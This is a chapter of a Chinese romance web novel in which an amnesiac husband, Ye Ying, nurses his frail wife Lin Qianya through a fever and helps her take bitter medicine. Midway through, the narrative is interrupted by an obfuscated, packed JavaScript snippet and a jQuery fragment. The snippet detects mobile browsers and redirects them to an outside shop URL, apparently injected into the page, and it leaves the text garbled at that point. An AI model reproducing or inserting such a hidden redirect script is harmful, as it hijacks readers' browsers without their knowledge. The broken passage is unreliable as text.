25. 润物细无声
作品:《病美人如何在崩坏世界饲养庄花?》 日子便这般平静地过了近一个月。
叶英在相府住着,起初那份因记忆全无和环境陌生而生的些许飘忽感,便渐渐被一种安稳的日常所取代。
他心里倒是踏实了许多,这片小小的庭院,竟也成了他茫茫迷雾中一处清晰可触的落脚点。
这份安稳,大半却也源于林芊雅细致入微的照料。她似乎将他的一切都放在了心上,安排得妥妥帖帖,从无半点疏漏。
晨起时,外间小几上总有一杯温度正好的清茶,不烫不凉,刚好润喉。他虽未说过,但她似乎却记得他醒来总要先饮些水的习惯。
用膳时,桌上菜色日日变换,但他若是对哪道菜多动了一筷子,或只是目光停留得稍久些,下一餐那道菜便会多出现在他面前,分量也足些。
他习惯几时起身,几时静坐,偏好什么茶水温热,甚至换洗衣物的熏香用哪种淡雅的气息,她都一一留意,不着痕迹地调整到最令他舒适的状态。
这种被默默放在心尖上惦念、周全呵护的感觉,让叶英心里时常泛起暖意。
他即便记不清从前,但某些身体的本能和残留的感觉告诉他,自己过去家境应当不差,起居也是有人伺候的。
刚醒来在济世堂,以及初入相府时,他对丫鬟仆役的靠近,身体会有一瞬不易察觉的僵硬,那是一种对“被伺候”状态既熟悉却又带着疏离的警觉,他偶尔也便会感到一丝本能的不适应。
可那时的“伺候”,与如今林芊雅给予的,却又截然不同。那更像是一种基于职责或银钱的照看,规整却隔着距离。
而眼下这些,是妻子基于“在意”本身所做的、自然而然的关切,细微之处才透着全心全意的爱护。这份区别,他虽不善言辞,心里却清明如镜。
相府里的日子大体是平静的。
丫鬟仆妇们见他们夫妇同行,常在不远处挤在一起低笑,目光善意又带着对新婚燕尔的欣羡。就连之前提及的南安王府,或是朝中与林承泽不睦的政敌,这月余也未见有什么动作。
林承泽每日按部就班上朝下朝,京城里的风浪,隔着相府高墙,似乎变得有些遥远,甚至有些儿戏。
林芊雅对此闲暇时还曾对叶英浅笑道:
“无非是兵来将挡,水来土掩罢了。更何况我们如今也不常出门,外头再闹,一时半刻却也扰不到眼前来了。”
她如今的活动,多半也在这府邸之内。
如今常登门的,除了必要的家下管事回话,便只有如薛娘子这般与林芊雅有生意往来的女眷,或是各处铺子的掌柜前来对账。
林芊雅处理这些事务很有章法,每日约莫耗费个把时辰,便能料理清楚。余下的时间,她的心思便大多落在了叶英身上。
就连给他添置衣物这类事,她也考虑得极周全。
并未随意去外头成衣铺子购买,而是请了京中手艺最好的绣娘到府里来,当着他的面,仔仔细细地量了尺寸。
料子是她亲自挑选的,多是素雅的绫、罗、细棉,颜色也偏青、白、月白、浅灰之类,质地柔软透气,剪裁合体却不过分紧绷,样式简洁大方,正是她一贯偏好的清雅风格。
叶英对穿什么其实并不太挑剔,给他什么便穿什么。只是偶尔,手指抚过那些细腻却素净的衣料时,心底会掠过一丝极模糊的异样感,仿佛记忆深处,自己惯常的衣着应当更鲜明华美一些?那感觉一闪即逝,抓不住具体形貌,只留下一点关于“珠光宝气”的朦胧印象。
林芊雅似乎也察觉到了这点。
有一回,她拿着新做好的外衫在他身上比量时,忽然抬眼看了看他,轻声说:
“夫君从前那身衣裳……料子和绣工都极贵重,想来日常用度也是不差的。只是……”她顿了顿,声音低了些,带着点不易察觉的维护。
“那样的穿戴,在京城里太扎眼了,容易惹来不必要的麻烦。而且……外头有些人,眼皮子浅,若见你骤然穿得那般华贵,怕是要说些不中听的闲话,平白惹你心烦。”
她没明说“不中听的闲话”是什么,但叶英听懂了。无非是些“倚靠岳家”、“被妻子豢养”之类的鄙薄之语。她自己或许不在乎外人如何议论林家,却不愿他因这些无谓之事承受半点非议。
叶英看着她眼中那点清晰的在意,心下微软。他本就不在意旁人眼光,更不在意穿戴如何,但这是她的心意,是她细细思量后认为对他最好的安排。他便点了点头,只说了句:
“你安排便是。”语气里是全然的信任与接受。
这些日常琐碎,于他而言都算不得什么。他真正搁在心上时常惦记的,是林芊雅的身体。
她底子实在太弱了。这才刚入秋不久,七月中的天气,早晚已有些微凉,她便比旁人更易受风着凉。
这日清晨,窗外又淅淅沥沥下起了雨。
观澜院侧那片小小的竹林被雨点打得噼啪作响,声音清脆倒也别有韵致。
因着雨天想着院中的海棠应当也被打落了,叶英便未去院中练剑观花。他醒来时,帐内光线晦暗,身侧的人还依旧安静地睡着。
往常这个时候,林芊雅也该醒了。她虽爱赖床,但因着要喝那定时的汤药,总也不会晚过辰时。且两人成亲已月余,昨夜雨声扰人,又兼她近来精神尚可,两人便未曾亲密,只是相拥而眠。
此刻,她穿着一身玉粉色的软绸寝衣,偎在他身侧,乌发如云铺散在枕上,睡得正沉。两人衣料皆是光滑的丝绸,被褥也蓬松柔软,拥着她入睡总是一夜安眠的。
叶英原想着雨天不便外出,正好留在房里多陪陪她。他侧过身,仔细端详她的睡颜,却见她双颊泛着不正常的红晕,眉心微微蹙着,呼吸似乎也比平日略重一些。
他心头莫名一紧,伸手用手背轻轻贴了贴她的额头。触手便是一片滚烫。
发烧了。
叶英心头一紧,立刻起身,随手披了件外袍便快步走到门边,压低声音唤了外间值守的春华,让她速去请大夫。动作虽轻却带着明显的急迫。
他的声音却也惊动了床上的林芊雅。
她迷迷糊糊地睁开眼,觉得浑身酸软无力,头也昏沉沉的,眨了眨眼,才看清叶英已起身正吩咐丫鬟。想坐起来,身上却没什么力气。
春华应了声,匆忙去了。
秋月已打了温水进来,绞了帕子。
叶英接过回到床边,扶着林芊雅靠坐起来,将凉帕子敷在她额上。
林芊雅这才完全清醒,意识到自己又病了。她看着叶英微蹙的眉头和眼中的关切,勉强扯出一个笑,声音因发热而有些沙哑绵软:
“夫君别担心……我没事的,老毛病了……就是不小心着了点凉,喝几天药就好。”
她说着,还想证明自己无碍似的,抬手想去接秋月递过来的温水杯,指尖却有些发颤。
叶英没说话,只默默接过杯子凑到她唇边,喂她小口喝了点水。
不多时,大夫来了,诊脉后说是换季感染了风寒,又兼体质虚亏,需得好生静养服药。
春华送大夫出去时,在门边压低声音对叶英道:
“姑爷别太忧心了,小姐自小便是如此,天气稍一变幻,或是不小心吹了风,便容易如此。奴婢们都惯了,小心伺候着,按时喝药,将养几日便能缓过来。”
叶英点了点头,目光却一直落在床榻上。
林芊雅已被扶着重新靠坐在床头,背后垫了厚厚的软枕。
因发热她脸颊绯红,嘴唇有些干,长发也未绾柔顺地披在肩头,更显得人苍白脆弱。见叶英看过来,她又努力笑了笑,想让他安心。
丫鬟端了刚煎好的药进来,浓重的苦涩气味瞬间弥漫在室内。
林芊雅几不可查地蹙了下眉,随即又松开,伸手想去接药碗。
“等等。”叶英忽然开口。他转身对屋里伺候的春华和另一个丫鬟道:“这里我来,你们先下去吧。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224190|197544||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
春华愣了一下,随即会意,抿嘴一笑,拉着小丫鬟悄悄退了出去,还带上了门。
屋内便只剩下他们两人。
叶英端着药碗,在床沿坐下。他没有立刻将药递给她,而是先从旁边小碟里,拈起两颗蜜饯,放在她手边容易拿到的地方。
然后,他才将药碗递过去,看着她的眼睛,声音比平时更缓些:“怕苦,便一口喝完。在我面前,不必忍着。”
他的话还是很简短,但意思却再明白不过。
他知道她爱面子,总想在他面前维持那份端庄娴静的仪态,连喝药都要小口慢饮,生生拉长那苦涩的折磨。但他告诉她,不必如此。在他面前,她可以放松,可以怕苦,可以不那么完美。
林芊雅怔怔地看着他,看着他平静却专注的眼神,又看了看手边那两颗晶莹的蜜饯。心头像是被什么东西轻轻撞了一下,酸酸软软的,那热度似乎从脸颊一路蔓延到了眼眶。药是苦的,可心里某个地方,却咕嘟咕嘟地冒着甜滋滋的泡泡。
她没说话,也没像以往那样故作从容地小口啜饮。只是伸出手,接过那碗浓褐的药汁,盯着看了片刻,然后像是下定了决心,闭了闭眼,仰头,屏住呼吸,咕咚咕咚几口,将那碗极苦的药汁一气灌了下去。
苦涩瞬间席卷了所有味蕾,让她差点呛咳出来,眼角也逼出了生理性的泪花。她慌忙放下碗,抓起那两颗蜜饯塞进嘴里,用力咀嚼着,用那一点清甜拼命压住翻涌的苦味。
叶英一直看着她,看着她皱眉强忍眼角泛泪又急着吃蜜饯的模样,那样子褪去了平日里的沉稳周全,露出几分属于她这个年纪的、真实的稚气与脆弱。
他心里那处发紧的感觉,并未因她乖乖喝药而散去,反而更清晰了些。
他沉默着,在床边坐下,伸出手,将她有些凉、甚至微微发抖的手握进自己温热的掌心,紧紧包裹住。
林芊雅缓过那阵苦劲,感觉到他手掌传来的温度和力道,心里那点因生病而生的委屈和无力感,似乎被驱散了不少。
她没抽回手,反而顺势将依旧发烫的额头,轻轻靠向他坚实的胸膛,整个人像寻求温暖和庇护般,依偎进他怀里。
“真的不要紧,”她把脸埋在他衣襟前,声音闷闷的,带着病中的软哑,“我从小身体就这样,是胎里带来的弱症,一年里总要闹这么几回……早就习惯了。你……你离我远些,仔细过了病气给你了。”
她说“早就习惯了”,语气那么平淡,听在叶英耳中,却让他心头有些发紧,泛起一阵陌生的闷疼。她这般年轻,却要常年与药石为伴,连生病都成了习惯。
他手臂环过她单薄的肩背,将她更稳地拥住,低声道:“不会。我身体好,无事。”
他顿了顿,似乎在搜寻合适的词语,最终只是干涩地补了一句,“你……好生吃药,多歇着,快些好起来。”
他想说些更熨帖的安慰话,却发现自己于此道实在笨拙。满腔的担忧与怜惜,到了嘴边,只剩下这最简单直白的几句。似乎觉得语言不够,他又更紧地握了握她的手,仿佛想通过这交握的掌心,将自己的力量与温度都传递过去。
林芊雅在他怀里轻轻动了动,寻了个更舒适的姿势靠着,然后低低地“嗯”了一声,听话地闭上了眼睛。
或许是他的怀抱太过安稳,或许是药力开始发作,她的呼吸渐渐变得均匀绵长,竟是又沉沉地睡了过去。
叶英保持着这个姿势,一动不动,低头看着她沉睡中依旧微红的脸颊和轻蹙的眉尖。
窗外的雨声未歇,滴滴答答地敲在屋檐和竹叶上。
叶英低下头,看着怀中因生病而显得格外柔软脆弱的妻子,心中那片因失忆而产生的无所凭依的漂浮感,似乎在缓缓沉淀,被一种更为具体而坚实的责任感所取代。
他是她的夫君,护她安好,顾她周全
连同她这自胎里带来的、令人心疼的病弱,亦是他份内之事。

